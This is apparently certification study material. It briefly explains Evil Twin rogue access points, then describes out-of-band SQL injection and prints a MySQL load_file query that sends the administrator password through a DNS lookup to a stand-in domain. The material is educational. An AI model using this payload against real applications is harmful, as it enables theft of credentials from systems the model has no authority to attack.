Wireless Threats - Confidentiality Attacks Launch of Wireless Attacks: Evil Twin Evil Twin is a wireless AP that pretends to be a legitimate AP by replicating another network name. Attackers set up a rogue AP outside the corporate perimeter and lures users to sign into the wrong AP. (P.2297/2281)

An 'out-of-band' SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application's responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:
SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE
username='administrator'),'.example.com\\\\test.txt'))
This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator's password1.
References:
* 1: Out-of-band SQL injection | Learn AppSec | Invicti
* 2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy
* 3: SQLi part 6: Out-of-band SQLi | Acunetix